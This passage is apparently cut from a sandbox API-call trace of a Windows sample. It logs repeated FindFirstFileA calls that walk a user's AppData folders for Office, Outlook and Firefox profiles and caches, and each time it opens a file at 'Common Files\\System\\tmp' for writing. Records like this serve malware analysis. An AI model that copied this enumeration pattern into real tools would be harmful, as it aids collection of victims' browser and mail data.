ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.459] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.459] GetLastError () returned 0x12 [0145.459] AreFileApisANSI () returned 1 [0145.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.459] GetFileType (hFile=0x184) returned 0x1 [0145.459] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x889898, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.460] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.460] GetLastError () returned 0x12 [0145.460] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.460] GetLastError () returned 0x12 [0145.460] AreFileApisANSI () returned 1 [0145.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.460] GetFileType (hFile=0x180) returned 0x1 [0145.460] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20000000, dwReserved1=0x8258b8, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.460] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.460] GetLastError () returned 0x12 [0145.460] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.460] GetLastError () returned 0x12 [0145.460] AreFileApisANSI () returned 1 [0145.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.461] GetFileType (hFile=0x17c) returned 0x1 [0145.461] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.461] AreFileApisANSI () returned 1 [0145.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.461] GetFileType (hFile=0x180) returned 0x1 [0145.461] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.462] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.462] GetLastError () returned 0x12 [0145.462] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.462] GetLastError () returned 0x12 [0145.462] AreFileApisANSI () returned 1 [0145.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.462] GetFileType (hFile=0x17c) returned 0x1 [0145.462] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.463] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.463] GetLastError () returned 0x12 [0145.463] AreFileApisANSI () returned 1 [0145.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.463] GetFileType (hFile=0x17c) returned 0x1 [0145.463] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe0, dwReserved1=0x834d00, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.463] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.464] GetLastError () returned 0x12 [0145.464] AreFileApisANSI () returned 1 [0145.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.464] GetFileType (hFile=0x17c) returned 0x1 [0145.464] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.464] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.464] GetLastError () returned 0x12 [0145.465] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.465] GetLastError () returned 0x12 [0145.465] AreFileApisANSI () returned 1 [0145.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.465] GetFileType (hFile=0x178) returned 0x1 [0145.465] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.465] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.465] GetLastError () returned 0x12 [0145.465] AreFileApisANSI () returned 1 [0145.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.466] GetFileType (hFile=0x178) returned 0x1 [0145.466] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.466] AreFileApisANSI () returned 1 [0145.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.466] GetFileType (hFile=0x17c) returned 0x1 [0145.466] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.466] AreFileApisANSI () returned 1 [0145.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.466] GetFileType (hFile=0x180) returned 0x1 [0145.467] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.467] AreFileApisANSI () returned 1 [0145.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.467] GetFileType (hFile=0x184) returned 0x1 [0145.467] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.467] AreFileApisANSI () returned 1 [0145.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.467] GetFileType (hFile=0x188) returned 0x1 [0145.468] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.468] AreFileApisANSI () returned 1 [0145.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.468] GetFileType (hFile=0x18c) returned 0x1 [0145.469] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.469] AreFileApisANSI () returned 1 [0145.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.469] GetFileType (hFile=0x190) returned 0x1 [0145.469] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.469] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.469] GetLastError () returned 0x12 [0145.469] AreFileApisANSI () returned 1 [0145.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.470] GetFileType (hFile=0x190) returned 0x1 [0145.470] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.470] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.470] GetLastError () returned 0x12 [0145.470] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.470] GetLastError () returned 0x12 [0145.470] AreFileApisANSI () returned 1 [0145.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.470] GetFileType (hFile=0x18c) returned 0x1 [0145.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.471] AreFileApisANSI () returned 1 [0145.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.471] GetFileType (hFile=0x190) returned 0x1 [0145.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.471] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.472] GetLastError () returned 0x12 [0145.472] AreFileApisANSI () returned 1 [0145.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.472] GetFileType (hFile=0x190) returned 0x1 [0145.472] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, 